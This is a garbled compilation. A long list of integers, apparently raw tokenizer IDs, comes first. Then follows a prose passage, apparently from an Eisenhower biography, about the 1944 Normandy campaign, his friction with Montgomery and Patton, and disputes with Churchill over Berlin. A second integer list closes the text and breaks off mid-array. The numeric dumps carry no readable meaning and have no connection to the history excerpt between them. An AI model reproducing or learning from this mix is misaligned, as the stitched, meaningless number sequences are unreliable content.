6816, 253, 9054, 1223, 7562, 4336, 16645, 2994, 449, 380, 4782, 2087, 10490, 281, 2983, 327, 247, 1077, 6891, 2914, 15, 496, 690, 4088, 309, 413, 1869, 27438, 369, 751, 6086, 8771, 282, 620, 266, 275, 253, 2448, 10109, 3660, 13, 665, 275, 18638, 273, 13313, 1900, 35039, 18280, 253, 9054, 434, 14603, 15, 187, 187, 3463, 4163, 337, 13, 672, 6047, 257, 13, 13531, 13183, 434, 2201, 2846, 13, 574, 1335, 417, 644, 10848, 13, 247, 23573, 309, 413, 2427, 281, 27438, 434, 17929, 15, 4200, 555, 434, 42837, 16267, 369, 346, 968, 86, 2276, 13191, 449, 16140, 272, 281, 4693, 13, 309, 413, 2427, 281, 923, 27961, 13, 12360, 342, 253, 17401, 407, 521, 3331, 17979, 6037, 36923, 17446, 491, 281, 34707, 4200, 555, 15, 380, 2098, 369, 281, 452, 27961, 8386, 779, 24311, 281, 253, 3995, 273, 40434, 15, 6061, 11157, 13, 27961, 22612, 264, 19311, 555, 13, 346, 13924, 13, 4200, 555, 13, 275, 13313, 13, 801, 297, 7116, 28, 275, 7170, 13, 828, 1763, 917, 449, 2732, 247, 42199, 273, 521, 32977, 3230, 13, 344, 2879, 13, 346, 395, 275, 10170, 13, 1210, 6030, 494, 449, 187, 187, 510, 1895, 387, 253, 2774, 323, 32133, 47577, 369, 326, 4200, 555, 1904, 626, 452, 247, 10170, 281, 320, 1210, 6030, 494, 670, 15, 27961, 5907, 281, 896, 32133, 47577, 275, 29999, 27438, 15, 1292, 309, 413, 812, 417, 3785, 253, 9632, 15, 4200, 555, 369, 271, 10651, 275, 253, 4782, 2315, 15, 380, 30450, 273, 33252, 14, 54, 15, 52, 15, 16167, 651, 320, 25132, 314, 1315, 19416, 275, 253, 4693, 2315, 598, 287, 274, 689, 4200, 555, 434, 46023, 15, 1916, 1329, 309, 413, 13, 27961, 858, 11265, 4200, 555, 281, 2028, 779, 326, 32133, 47577, 3815, 651, 1480, 253, 5284, 5700, 15, 754, 840, 48315, 1245, 27438, 407, 2403, 779, 247, 1673, 278, 19032, 15, 1292, 4200, 555, 1694, 253, 3935, 15, 1623, 4163, 818, 13, 846, 253, 35069, 574, 268, 20440, 17371, 6047, 257, 715, 7692, 934, 13, 4200, 555, 434, 10824, 31653, 275, 15, 1292, 984, 273, 253, 12536, 13, 253, 396, 522, 430, 6047, 257, 369, 642, 3356, 273, 1199, 15285, 1318, 15, 187, 187, 18291, 4200, 555, 1024, 1869, 344, 651, 31636, 2522, 253, 2022, 19031, 715, 6176, 15, 2091, 344, 6311, 326, 2790, 1299, 434, 8544, 651, 320, 13590, 697, 20470, 2584, 42471, 13, 344, 41763, 285, 15665, 326, 309, 413, 1705, 923, 779, 13, 1014, 2167, 344, 3260, 253, 530, 15, 52, 15, 24555, 17747, 369, 18414, 281, 1531, 307, 2706, 407, 247, 3332, 12267, 4975, 15, 187, 187, 9304, 555, 33243, 6948, 247, 45310, 796, 16153, 326, 2790, 1299, 13, 417, 32133, 47577, 13, 369, 3515, 253, 2137, 15, 754, 16701, 326, 1453, 273, 253, 2659, 4544, 281, 4901, 6176, 320, 4895, 281, 779, 15, 496, 253, 4766, 273, 521, 4230, 606, 489, 344, 8042, 281, 521, 747, 10720, 4177, 273, 1673, 278, 19032, 3708, 13, 534, 5958, 1070, 309, 413, 15, 187, 187, 3, 6812, 5102, 13, 4200, 555, 937, 309, 413, 9577, 13, 8133, 521, 1133, 327, 4200, 555, 434, 12267, 15, 346, 1394, 476, 626, 3984, 281, 479, 751, 326, 15, 309, 1353, 634, 12145, 449, 187, 187, 9304, 555, 840, 7320, 562, 521, 2098, 13, 33690, 15111, 14, 40, 6702, 15, 733, 1925, 323, 14270, 253, 2406, 11537, 460, 275, 21155, 17563, 715, 253, 16333, 15, 380, 3236, 32683, 5700, 369, 281, 9232, 285, 7895, 743, 7553, 47952, 13, 253, 5962, 2245, 327, 253, 3729, 11936, 285, 253, 8642, 281, 253, 5685, 2798, 1373, 15, 9110, 32133, 47577, 5821, 281, 4200, 555, 434, 5333, 275, 5700, 984, 344, 3078, 247, 9729, 2522, 2439, 253, 11537, 460, 1078, 253, 19031, 273, 253, 32683, 13413, 38391, 3026, 15, 21155, 17563, 369, 253, 4376, 273, 21927, 839, 27438, 13, 533, 352, 369, 14842, 262, 4087, 16624, 15, 496, 4397, 253, 20003, 7171, 896, 4200, 555, 434, 4782, 42864, 1061, 35078, 2211, 2983, 1411, 21155, 17563, 15, 187, 187, 510, 20946, 34158, 275, 6181, 574, 269, 5442, 5041, 434, 13079, 323, 247, 5685, 23277, 1078, 253, 990, 273, 4397, 15, 329, 1289, 360, 32133, 47577, 2361, 281, 247, 19271, 4214, 19629, 326, 253, 7203, 273, 18824, 651, 320, 253, 18353, 990, 281, 253, 2137, 15, 4129, 690, 4668, 30525, 1158, 326, 253, 15111, 14, 40, 6702, 4433, 490, 7551, 271, 2393, 12365, 273, 253, 2137, 13, 32133, 47577, 13, 247, 5685, 407, 2614, 2994, 13, 1620, 6566, 253, 5685, 8544, 651, 23277, 1293, 247, 1390, 14, 69, 2682, 5684, 273, 253, 10956, 1373, 15, 187, 187, 510, 3638, 11684, 273, 4200, 555, 285, 9309, 466, 2790, 1299, 37007, 309, 413, 434, 22450, 281, 253, 10155, 1127, 13, 533, 253, 5112, 17747, 372, 12146, 24533, 4821, 281, 6351, 32133, 47577, 434, 1675, 15, 4129, 38140, 1335, 26882, 1701, 253, 5112, 2087, 13, 32133, 47577, 285, 27961, 6096, 253, 9927, 326, 372, 12146, 24533, 6607, 253, 760, 1896, 18240, 272, 4677, 323, 253, 5112, 35624, 15, 3032, 419, 1137, 321, 13, 2299, 13, 369, 391, 31377, 387, 667, 18998, 2438, 47610, 281, 6181, 390, 281, 521, 15555, 15, 27961, 2183, 309, 413, 326, 327, 1110, 15530, 344, 3261, 751, 346, 66, 5343, 26198, 2902, 665, 556, 816, 644, 9861, 275, 617, 8158, 449, 1292, 1097, 11575, 372, 12146, 24533, 347, 253, 3811, 25754, 281, 253, 34173, 273, 6181, 15, 32133, 47577, 2183, 372, 12146, 24533, 13, 346, 42, 369, 3430, 670, 368, 275, 3729, 7531, 449, 187, 187, 3848, 12146, 24533, 10017, 13, 346, 1394, 403, 247, 637, 13, 4214, 449, 6295, 3715, 15577, 1675, 15, 18, 2726, 309, 413, 434, 32116, 13, 5112, 35624, 10824, 31653, 342, 309, 413, 434, 1711, 3331, 346, 40, 1796, 3, 17626, 319, 347, 253, 10875, 2392, 273, 7785, 327, 4223, 3285, 15, 380, 7785, 2458, 9119, 3026, 253, 5112, 285, 530, 15, 52, 15, 9647, 13, 15950, 12405, 13, 9159, 17543, 273, 41201, 13, 285, 1014, 13989, 272, 253, 11734, 10824, 15, 187, 187, 38, 11889, 47577, 858, 417, 10078, 15, 733, 369, 253, 35224, 273, 29894, 13, 417, 253, 35297, 273, 8238, 13, 326, 369, 521, 8103, 15, 3771, 347, 521, 8080, 530, 15, 322, 15, 13629, 1620, 574, 25380, 13, 253, 38540, 5347, 13, 275, 521, 15285, 29962, 13, 594, 32133, 47577, 12258, 12911, 347, 247, 6561, 2647, 15, 27961, 283, 1439, 281, 3748, 27438, 285, 2790, 1299, 283, 35577, 352, 13359, 15, 12911, 369, 43527, 275, 253, 27961, 2303, 273, 18577, 3564, 342, 253, 24794, 347, 2080, 9268, 273, 253, 3599, 1257, 7121, 347, 1896, 15, 187, 187, 510, 12911, 1953, 285, 24636, 743, 33745, 16, 43678, 3508, 4269, 253, 954, 2600, 784, 45880, 875, 253, 767, 1821, 15, 1583, 3261, 387, 12911, 432, 1027, 24302, 13, 32133, 47577, 347, 247, 15796, 13, 27961, 347, 247, 3054, 1342, 28, 253, 581, 347, 247, 4668, 13253, 6876, 13, 285, 253, 643, 347, 247, 3569, 8113, 552, 15, 27961, 434, 4668, 323, 442, 369, 275, 253, 4936, 5700, 15, 32133, 47577, 434, 21242, 369, 521, 47168, 273, 38238, 15, 187, 187, 38, 11889, 47577, 434, 11674, 369, 1900, 253, 1786, 13, 1617, 13, 285, 4852, 273, 521, 1821, 15, 754, 3078, 281, 990, 253, 2137, 347, 4541, 347, 1896, 15, 27961, 434, 4335, 4468, 369, 752, 4592, 846, 253, 2137, 15, 754, 574, 6311, 432, 3645, 3660, 309, 326, 253, 32822, 273, 3167, 3191, 369, 417, 2217, 604, 19951, 7882, 369, 417, 6786, 15, 187, 187, 42462, 408, 574, 10066, 743, 33745, 16, 43678, 3508, 347, 253, 15165, 4254, 275, 11053, 6181, 984, 352, 31817, 4668, 10824, 285, 5300, 432, 9972, 13, 534, 344, 3078, 347, 247, 25251, 13229, 323, 253, 41028, 507, 15, 27961, 369, 45522, 407, 253, 12194, 4322, 275, 34262, 285, 31208, 571, 13, 347, 973, 347, 17785, 15, 496, 4223, 27961, 574, 1313, 342, 4214, 308, 7067, 273, 40787, 571, 13, 342, 5207, 521, 3347, 13, 44198, 13, 369, 9417, 347, 247, 45652, 1988, 15, 187, 187, 1989, 281, 32133, 47577, 13, 27961, 434, 346, 4524, 8382, 314, 273, 3060, 3, 369, 581, 5931, 273, 5685, 11129, 2266, 15532, 326, 651, 1161, 88, 598, 2448, 4852, 15, 496, 309, 413, 434, 3000, 27, 346, 42, 1053, 626, 923, 253, 1219, 793, 347, 667, 686, 4524, 8382, 314, 18574, 32133, 47577, 10066, 27961, 327, 12911, 13, 1512, 15, 309, 413, 369, 5480, 281, 1581, 253, 12194, 29894, 281, 3986, 12911, 806, 984, 326, 812, 3657, 247, 2716, 3041, 32853, 2190, 253, 5621, 344, 12860, 15, 380, 2087, 11575, 253, 4112, 949, 247, 4668, 49615, 273, 13868, 521, 1821, 15, 187, 187, 38, 11889, 47577, 574, 642, 2853, 16723, 670, 253, 10968, 46426, 15, 733, 369, 816, 326, 667, 3061, 327, 12911, 40209, 39479, 327, 253, 21731, 3646, 14, 11849, 7571, 273, 253, 4007, 15, 4325, 253, 1304, 326, 32133, 47577, 574, 327, 253, 2745, 379, 266, 12651, 13, 21519, 574, 35696, 281, 29161, 281, 8027, 642, 32683, 39482, 715, 253, 41028, 507, 285, 281, 1581, 12194, 5857, 715, 12911, 15, 28814, 13, 2139, 943, 309, 413, 5007, 521, 29894, 715, 3672, 326, 27961, 13, 29161, 13, 285, 21519, 574, 2168, 25102, 2149, 745, 347, 12194, 28394, 273, 4833, 32, 187, 187, 38, 11889, 47577, 369, 642, 5602, 34021, 15, 1284, 247, 5702, 15796, 13, 344, 36968, 2403, 7089, 521, 17747, 275, 7015, 943, 6283, 1056, 15, 32133, 47577, 1869, 326, 27961, 369, 17285, 275, 521, 18055, 273, 12194, 38767, 13, 533, 604, 594, 13, 27961, 574 ]

, crossed to see the battle zone. They drove to Bayeux, the British headquarters of the British Second Army and the one-time home of William the Conqueror, the only other man--except for Eisenhower and Julius Caesar--to have commanded a cross-Channel invasion. While motoring in the beach area, John was astonished to see a phalanx of military vehicles driving bumper to bumper. That was completely in violation of the military procedure he had been taught at West Point. "You'd never get away with this if you didn't have air superiority," said the freshly minted second lieutenant. "Hell," Ike snapped back, "if I didn't have air superiority, I wouldn't be here." Air superiority would be the decisive edge in the rout of the German army at the coast. The Allied plan thereafter would be a three-pronged attack northward through France by Generals Montgomery, Bradley, and Patton. In Operation Dragoon, Patton had landed his troops in Brittany on August 1. For Eisenhower, execution of strategy would become entangled in personality. Pint-sized Montgomery with his red beret and strut reminded one of a bantam rooster. Patton with his white helmet and pearl-handled revolver was the American bald eagle, complete with shiny talons. Both were obsessed with one goal: to be the first to ride atop their tanks into Berlin. They also shared the conviction that they knew more about military strategy than Eisenhower. Their approach to battle, however, could not have been more different. Patton was confrontational; Montgomery, more oblique. At the St. Paul's School briefing on London, Montgomery had vowed to be "knocking on the outskirts of Caen" at the end of the first day. By June 20 (D-day plus fourteen) Montgomery still had not taken Caen. Montgomery's battle style reminded Ike of a young Washington Senator pitcher in the 1930s. Although the hurler possessed a good fastball, he just nibbled at the corners of the plate instead of challenging the hitters. As Montgomery wrote later, "It was always very clear that Ike and I were poles apart when it came to the conduct of the war." Monty believed in "unbalancing the enemy while keeping completely balanced himself." The British general liked to attack on a very narrow front. In some ways Ike thought Montgomery was like George McClellan in the American Civil War, who in dread of defeat always overestimated the enemy's capability. By July 1, when Caen, Normandy's major city, had still not been captured, a frustrated Ike went to Montgomery's headquarters. Monty's lame excuse was "insufficient supplies." Returning to London, Ike went to see Churchill, armed with the recommendation by his friend Vice Air Marshal Tedder to sack Monty. The plan was to have Churchill kick him upstairs to the House of Lords. Over lunch, Churchill waxed witty, "Ah, Monty, in defeat, indomitable; in advance, invincible." After a puff of his Havana, he added, "and in victory, insufferable." The problem at the moment for Eisenhower was that Monty didn't have a victory to be insufferable about. Churchill offered to back Eisenhower in dismissing Montgomery. But Ike could not pull the trigger. Monty was an icon in the British press. The strands of Anglo-U.S. unity would be sorely frayed in the London press uproar over Monty's dumping. To support Ike, Churchill did telephone Monty to tell him that Eisenhower alone would direct the European strategy. He then mollified Montgomery by making him a field marshal. But Monty got the message. On July 7, after the RAF had pummeled Caen into rubble, Monty's troops marched in. But because of the destruction, the seaport Caen was no longer of much strategic value. Yet Monty now thought he would spearhead the main thrust into Germany. When he learned that Patton's army would be heading its tanks toward Frankfurt, he erupted and demanded that Ike come see him, even though he knew the U.S. supreme commander was confined to crutches by a recent knee injury. Monty unleashed a tirade charging that Patton, not Eisenhower, was running the war. He insisted that control of the land campaign to enter Germany be returned to him. In the middle of his harangue he pointed to his new fifth star of field marshal status, which rankled Ike. "Steady, Monty," Ike answered, putting his hand on Monty's knee. "You can't speak to me like that. I'm your boss." Monty then pulled out his plan, dubbed Market-Garden. It called for crossing the lower Rhine in Arnheim into the Netherlands. The original Allied strategy was to capture and secure Antwerp, the biggest port on the North Sea and the closest to the German heartland. Yet Eisenhower agreed to Monty's shift in strategy because he wanted a bridgehead across the Rhine before the thrust of the Allied offensive ebbed. Arnheim was the price of placating Montgomery, but it was precipitously steep. In September the Germans beat back Monty's British airborne paratrooper attack against Arnheim. The successive victories in France had fanned Washington's hopes for a German surrender before the end of September. A glum Eisenhower reported to a disappointed General Marshall that the spring of 1945 would be the earliest end to the war. Although some military historians think that the Market-Garden failure aborted an early ending of the war, Eisenhower, a German by blood himself, never believed the German army would surrender without a last-ditch defense of the Fatherland. The constant demands of Monty and Georgie Patton strained Ike's patience to the breaking point, but the French commander de Gaulle continued to gain Eisenhower's respect. Although FDR still despised the French general, Eisenhower and Churchill shared the belief that de Gaulle represented the only possible rallying figure for the French Resistance. His hauteur, however, was ruffled at any imagined affront to France or to his pride. Churchill told Ike that on those occasions he looked like "a female llama who has just been surprised in her bath." But both viewed de Gaulle as the living monument to the valor of France. Eisenhower told de Gaulle, "I was wrong about you in North Africa." De Gaulle replied, "You are a man, General." Both developed mutual respect.1 With Ike's endorsement, French Resistance troops marched with Ike's old friend "Gee" Gerow as the liberators of Paris on August 29. The Parisians mobbed the French and U.S. soldiers, throwing flowers, offering glasses of champagne, and even propositioning the entering troops. Eisenhower did not participate. It was the conquest of armies, not the liberation of cities, that was his objective. Just as his hero U. S. Grant never had Richmond, the Confederate capital, in his strategic sights, so Eisenhower regarded Berlin as a secondary matter. Churchill--not to mention Montgomery and Patton--saw it differently. Berlin was paramount in the Churchill target of shaking hands with the Russians as far east of the Elbe River as possible. The Berlin question and Operation Anvil/Dragoon caused the most contentious clashes between the two men. They looked at Berlin from different perspectives, Eisenhower as a soldier, Churchill as a statesman; the one as a military tactician, and the other as a political visionary. Churchill's military forte was in the grand strategy. Eisenhower's genius was his mastery of logistics. Eisenhower's priority was always the health, condition, and lives of his men. He wanted to end the war as quickly as possible. Churchill's prime concern was what happened after the war. He had learned from World War I that the cessation of hostilities was not enough if peaceful stability was not achieved. Churchill had opposed Anvil/Dragoon as the landing operation in southern France because it drained military troops and resources from Italy, which he wanted as a launching pad for the Balkans. Churchill was alarmed by the Soviet threat in Romania and Albania, as well as Greece. In August Churchill had met with General Tito of Yugoslavia, with whom his son, Randolph, was serving as a liaison. But to Eisenhower, Churchill's "underbelly of Europe" was one chain of German mountain strongholds that would chew up American lives. In Ike's words: "I don't see the Alps as any 'underbelly.'" Eisenhower opposed Churchill on Berlin, too. Ike was prepared to allow the Soviet armies to reach Berlin first because that could prevent a half million casualties among the forces he headed. The general viewed the situation through a military prism of saving his men. Eisenhower had no illusions about the Soviets. It was just that any decision on Berlin trespassed on the civilian policy-making jurisdiction of the president. From the report that Eisenhower had on the Teheran Conference, Roosevelt had pledged to Stalin to launch no Allied intrusion into the Balkans and to allow Soviet entry into Berlin. Anyway, why should Ike send his armies into areas that Churchill, Stalin, and Roosevelt had already sectored off as Soviet spheres of influence? Eisenhower was no MacArthur. As a professional soldier, he resisted making decisions his commander in chief should properly make. Eisenhower thought that Churchill was justified in his fears of Soviet domination, but if so, Churchill had

[ 8704, 2170, 15, 443, 478, 4415, 369, 6685, 49625, 285, 2427, 281, 247, 2257, 273, 7596, 281, 1361, 1056, 2119, 776, 30170, 285, 3297, 2427, 25863, 15, 380, 34374, 310, 273, 247, 9386, 2629, 342, 512, 39456, 285, 21472, 23308, 15, 15997, 7895, 1512, 15, 23428, 3258, 1652, 42359, 751, 253, 3057, 323, 247, 1980, 308, 2788, 308, 2788, 6254, 285, 253, 1980, 6109, 4481, 512, 1160, 824, 247, 3064, 15, 6610, 13, 309, 871, 326, 443, 261, 4415, 11424, 849, 775, 312, 17662, 253, 3055, 26540, 310, 2130, 533, 10369, 13, 1056, 2119, 368, 897, 779, 2, 844, 4934, 776, 4610, 1527, 285, 574, 690, 16961, 342, 779, 285, 690, 16961, 562, 285, 1046, 673, 359, 2427, 562, 13, 359, 16632, 359, 1871, 11791, 342, 521, 12398, 285, 3962, 4116, 281, 2508, 1051, 7964, 755, 521, 1211, 12955, 273, 388, 10468, 284, 323, 12561, 4672, 187, 187, 21309, 6961, 14, 883, 14, 1508, 53, 361, 27, 361, 27, 361, 59, 187, 187, 4553, 374, 3618, 273, 776, 21834, 7408, 275, 24206, 31642, 359, 574, 1199, 3058, 416, 7, 51, 275, 34374, 322, 1212, 11094, 15, 733, 858, 417, 11034, 387, 512, 15, 1737, 368, 923, 327, 368, 9402, 310, 752, 368, 755, 13, 275, 958, 368, 9402, 1057, 417, 513, 352, 8426, 347, 352, 1057, 417, 9232, 253, 40259, 4278, 15, 380, 11482, 310, 9075, 1020, 342, 271, 10038, 732, 280, 5878, 273, 17076, 13, 12863, 285, 43021, 15, 733, 310, 1121, 13543, 285, 2568, 762, 33834, 15, 844, 1119, 776, 2927, 1900, 1146, 8392, 281, 2060, 5313, 273, 1445, 16, 12517, 15, 733, 369, 594, 32196, 247, 5389, 1728, 15, 4235, 34282, 275, 253, 6363, 13, 4882, 3076, 78, 8185, 13, 2420, 23354, 390, 816, 4361, 407, 253, 6363, 369, 816, 752, 253, 15058, 6960, 1563, 247, 6863, 5880, 7408, 15, 775, 312, 17662, 18621, 247, 806, 966, 11484, 273, 20183, 285, 44409, 327, 253, 22819, 50, 15, 40388, 9791, 939, 84, 285, 9132, 465, 357, 5375, 15, 3032, 4116, 281, 2508, 369, 34093, 15, 380, 2829, 11461, 369, 8644, 15, 844, 816, 2206, 896, 285, 45066, 1223, 344, 18621, 253, 2739, 15, 380, 2739, 369, 17319, 15, 775, 312, 17662, 369, 253, 3962, 3167, 285, 25945, 2567, 15, 844, 16575, 15695, 2878, 15, 3824, 308, 2788, 308, 2788, 6254, 24986, 13013, 369, 671, 253, 3962, 21205, 15, 754, 369, 342, 441, 1561, 884, 29202, 273, 247, 4481, 1067, 342, 247, 1161, 1771, 10112, 15, 844, 812, 417, 9331, 253, 34374, 4750, 390, 39456, 387, 512, 15, 733, 369, 6313, 41466, 15, 844, 651, 5583, 4122, 281, 3780, 15, 733, 369, 271, 2793, 359, 588, 1620, 7740, 15, 443, 478, 4415, 369, 1900, 2130, 281, 3794, 281, 776, 9762, 285, 858, 594, 275, 247, 14793, 8142, 15, 1500, 1160, 253, 1232, 273, 30170, 253, 34374, 45871, 285, 3477, 15, 844, 3524, 281, 1091, 581, 1388, 15, 187, 187, 9387, 3627, 7132, 14, 883, 14, 1717, 53, 361, 27, 361, 27, 361, 59, 187, 187, 1231, 11791, 323, 1249, 1897, 275, 322, 1212, 11094, 34374, 432, 990, 273, 3919, 285, 8839, 7636, 253, 1659, 15, 3973, 273, 512, 443, 478, 4415, 556, 271, 8644, 2285, 627, 27, 24986, 7080, 13, 85, 2788, 14, 85, 2788, 6254, 285, 775, 312, 17662, 13, 44760, 7205, 285, 26540, 403, 27364, 5322, 952, 285, 858, 3253, 281, 1056, 2119, 359, 403, 1907, 247, 1175, 673, 15, 443, 478, 4415, 369, 671, 6685, 9371, 285, 9577, 512, 776, 7418, 3533, 15, 1422, 452, 3426, 11068, 275, 253, 44760, 13, 775, 312, 17662, 13738, 1507, 368, 13, 2722, 368, 3253, 285, 1014, 4245, 368, 767, 1980, 15169, 281, 897, 534, 369, 1663, 9371, 15, 2635, 344, 3553, 368, 281, 4264, 436, 1659, 407, 4834, 533, 344, 310, 1900, 2130, 327, 253, 4481, 604, 368, 878, 2712, 390, 281, 3959, 12478, 273, 253, 44760, 15, 754, 26604, 858, 690, 12701, 1078, 359, 7244, 273, 253, 4957, 359, 2546, 323, 3066, 443, 478, 4415, 15, 1707, 310, 247, 1824, 28576, 313, 664, 7636, 352, 10, 285, 309, 5583, 368, 1642, 775, 312, 17662, 281, 4489, 247, 4564, 273, 18345, 20321, 323, 368, 15, 844, 574, 374, 5753, 313, 23, 285, 577, 807, 1711, 10, 275, 776, 1387, 285, 359, 1869, 253, 2317, 369, 8644, 323, 731, 347, 597, 812, 1408, 1475, 13, 253, 44760, 10329, 310, 1077, 1943, 15, 443, 478, 4415, 556, 247, 278, 13903, 5202, 285, 359, 497, 13476, 281, 320, 627, 672, 597, 403, 33567, 15, 4923, 359, 574, 2151, 285, 776, 20606, 342, 441, 359, 858, 417, 971, 281, 4288, 2080, 323, 8184, 30546, 15, 844, 2427, 281, 443, 4781, 2067, 2069, 313, 1229, 14, 1449, 1054, 10, 1097, 407, 246, 2788, 246, 2788, 285, 1113, 285, 1663, 10490, 253, 13986, 7574, 13, 352, 310, 2120, 273, 5322, 16999, 285, 15114, 15, 496, 2087, 368, 588, 878, 246, 2788, 14, 85, 2788, 281, 755, 281, 253, 3874, 285, 281, 253, 11600, 13, 352, 310, 1512, 3511, 281, 2940, 627, 285, 3936, 670, 1458, 14, 938, 1054, 15, 1394, 476, 16263, 247, 660, 37449, 627, 604, 368, 971, 15, 733, 369, 1774, 323, 441, 281, 10831, 275, 253, 6150, 594, 2761, 1046, 1388, 359, 2427, 281, 253, 11600, 15, 380, 1682, 1659, 323, 17120, 285, 3340, 342, 1355, 5753, 310, 3094, 267, 49787, 3702, 313, 10383, 854, 1054, 9549, 407, 246, 2788, 14, 85, 2788, 481, 309, 513, 417, 1158, 352, 310, 3477, 281, 2940, 627, 984, 273, 253, 4250, 15, 7214, 2378, 627, 497, 1943, 10212, 285, 359, 812, 417, 4901, 13, 253, 1551, 273, 673, 352, 369, 13491, 285, 11874, 285, 20126, 2217, 281, 320, 4999, 323, 5753, 13, 359, 7636, 352, 15, 380, 11600, 310, 417, 973, 13496, 2167, 13, 4496, 3877, 13, 604, 352, 310, 1774, 323, 368, 27, 627, 403, 417, 5101, 3026, 84, 3707, 247, 1643, 33437, 407, 247, 1980, 5599, 15, 1292, 323, 441, 352, 369, 417, 247, 1943, 2968, 13, 359, 651, 3324, 247, 8335, 281, 1790, 327, 253, 7537, 15, 831, 1659, 310, 8644, 323, 3802, 1064, 3485, 285, 368, 12832, 10831, 2190, 253, 6773, 15, 844, 651, 1705, 2393, 4131, 13, 818, 14, 25, 312, 285, 3297, 7357, 884, 312, 13, 1078, 352, 4850, 1077, 3511, 15, 380, 11600, 369, 1620, 22299, 672, 359, 497, 627, 15, 775, 312, 17662, 310, 247, 1270, 26540, 285, 309, 7052, 5583, 281, 1642, 779, 281, 4417, 5899, 24206, 418, 1164, 266, 47209, 323, 368, 387, 458, 284, 2378, 15, 1876, 275, 512, 352, 369, 247, 1270, 2793, 285, 359, 7964, 5583, 322, 1212, 11094, 44760, 15, 187, 187, 17534, 2101, 15709, 18880, 342, 247, 3055, 46894, 6363, 285, 4980, 5956, 84, 835, 673, 9572, 1335, 347, 368, 4264, 253, 2317, 3753, 285, 34131, 408, 414, 275, 436, 1077, 1711, 13986, 21441, 44760, 15, 187, 187, 47, 383, 1070, 275, 253, 4766, 273, 247, 1781, 45788, 10329, 342, 30108, 1981, 7139, 285, 7968, 1452, 38811, 13, 776, 44760, 310, 760, 247, 1458, 2909, 4446, 432, 443, 4781, 10079, 13, 253, 954, 973, 14, 4304, 22431, 2846, 275, 10586, 24206, 31642, 15, 187, 13569, 3669, 1523, 4158, 281, 2085, 24904, 2317, 285, 19595, 11068, 323, 697, 12958, 13, 352, 310, 247, 9841, 14, 16789, 1283, 394, 5331, 767, 14, 296, 263, 728, 3652, 534, 6131, 767, 1781, 49130, 13, 1016, 342, 247, 3055, 17120, 6363, 285, 247, 480, 317, 86, 29935, 16, 8158, 6985, 15, 187, 510, 49130, 403, 13750, 407, 37039, 2336, 395, 1240, 84, 5909, 562, 4830, 253, 11673, 2575, 10329, 534, 15492, 28677, 1977, 432, 253, 2419, 15, 4129, 8763, 1977, 13, 253, 35604, 784, 7219, 273, 253, 3236, 1283, 394, 5331, 3236, 7302, 313, 10002, 434, 753, 281, 320, 247, 29622, 273, 2144, 281, 253, 13986, 10188, 560, 5140, 10, 2097, 326, 253, 1899, 273, 3652, 3400, 2761, 247, 1007, 483, 689, 253, 8704, 2170, 15, 187, 1552, 18880, 1969, 4146, 24078, 32261, 1969, 9090, 10268, 9268, 13, 327, 806, 5254, 13, 310, 13750, 407, 1048, 4618, 30352, 447, 15, 733, 671, 556, 721, 1781, 8323, 285, 495, 4021, 11008, 4933, 247, 43273, 12614, 1859, 273, 253, 8704, 14700, 13, 480, 1947, 868, 285, 268, 15242, 4910, 15, 187, 510, 767, 49130, 476, 320, 32346, 2366, 390, 11794, 15, 5815, 18880, 310, 4336, 9070, 432, 253, 643, 281, 5416, 11068, 15, 187, 14358, 49130, 452, 644, 12514, 4349, 85, 1037, 16789, 275, 7562, 342, 253, 2892, 273, 436, 1077, 1711, 3652, 13, 533, 342, 247, 4980, 15075, 327, 5956, 13, 2317, 285, 4602, 281, 3753, 15, 496, 247, 26272, 273, 697, 21904, 708, 310, 25701, 342, 41450, 17076, 432, 253, 13986, 2180, 1690, 1781, 1740, 20731, 20534, 15, 187, 4769, 9572, 1335, 347, 368, 4264, 253, 19951, 5956, 285, 762, 33834, 18997, 273, 253, 9956, 285, 253, 2969, 41645, 273, 1146, 2810, 281, 3753, 15, 20564, 13, 443, 4781, 10079, 285, 253, 8530, 13986, 10188, 560, 403, 4354, 2810, 2217, 323, 18216, 13, 12701, 285, 17552, 15, 380, 4633, 285, 30101, 914, 1403, 255, 9821, 285, 388, 24524, 324, 86, 8754, 11600, 310, 760, 1384, 2909, 1977, 15, 187, 9, 7845, 3877, 326, 1677, 697, 1781, 30352, 447, 13, 22298, 12866, 13, 285, 1527, 17120, 6363, 327, 253, 806, 5254, 13, 359, 14938, 326, 352, 310, 417, 2104, 281, 2997, 12958, 342, 1355, 2151, 323, 5252, 4606, 2698, 187, 510, 8530, 346, 510, 10315, 5967, 14469, 3, 1969, 247, 45497, 407, 253, 1533, 3816, 628, 22717, 13, 47569, 378, 11415, 1969, 285, 253, 5389, 11600, 816, 884, 2909, 1977, 15, 187, 56, 18279, 187, 5072, 932, 476, 320, 6960, 390, 247, 4417, 476, 320, 14565, 407, 2720, 11461, 15, 187, 30389, 7957, 2908, 275, 253, 4142, 187, 187, 1231, 403, 275, 247, 1077, 7107, 16252, 24092, 15, 1284, 776, 1728, 310, 387, 253, 990, 273, 247, 3055, 6406, 3793, 8070, 7137, 310, 2761, 1327, 2226, 290, 15, 187, 187, 1231, 574, 253, 954, 15143, 4564, 273, 1897, 14596, 342, 399, 1100, 73, 285, 7069, 438, 86, 15, 380, 18880, 310, 14331, 285, 604, 2712, 253, 7963, 1053, 626, 513, 352, 8426, 15, 380, 14516, 497, 6685, 11453, 285, 2238, 275, 43045, 4616, 13, 10301, 12645, 3966, 15, 844, 476, 626, 5583, 436, 1659, 2217, 2, 187, 187, 3074, 266, 6961, 14, 2693, 14, 1093, 53, 361, 27, 361, 27, 361, 59, 187, 187, 6067, 3297, 369, 8839, 3962, 15, 329, 5389, 10507, 1977, 275, 253, 19607, 428, 359, 812, 3698, 30552, 432, 776, 2336, 7447, 285, 627, 497, 1547, 3987, 40382, 2, 7069, 438, 86, 285, 399, 1100, 73, 497, 253, 3962, 14516, 15, 1583, 2427, 1840, 285, 4457, 281, 1056, 776, 3297, 347, 9848, 285, 30357, 347, 1896, 15, 380, 2739, 597, 18621, 323, 441, 369, 17319, 2, 5220, 253, 3722, 369, 594, 9848, 15, 844, 1007, 3579, 281, 10884, 2, 187, 187, 34, 3757, 265, 6620, 14, 2640, 14, 746, 53, 361, 27, 361, 27, 361, 59, 187, 187, 11478, 3296, 757, 14, 16796, 5651, 17502, 416, 7566, 17100, 416, 300, 413, 2378, 753, 346, 28579, 6403, 626, 512, 594, 33631, 285, 1333, 494, 347, 952, 651, 3798, 452, 441, 2868, 28, 954, 8450, 403, 5061, 333, 494, 13, 597, 5108, 275, 247, 2317, 326, 642, 3159, 556, 2455, 5966, 449, 1893, 309, 1089, 4266, 387, 247, 2957, 323, 3000, 2820, 281, 6266, 436, 21653, 15512, 273, 41466, 15, 1244, 619, 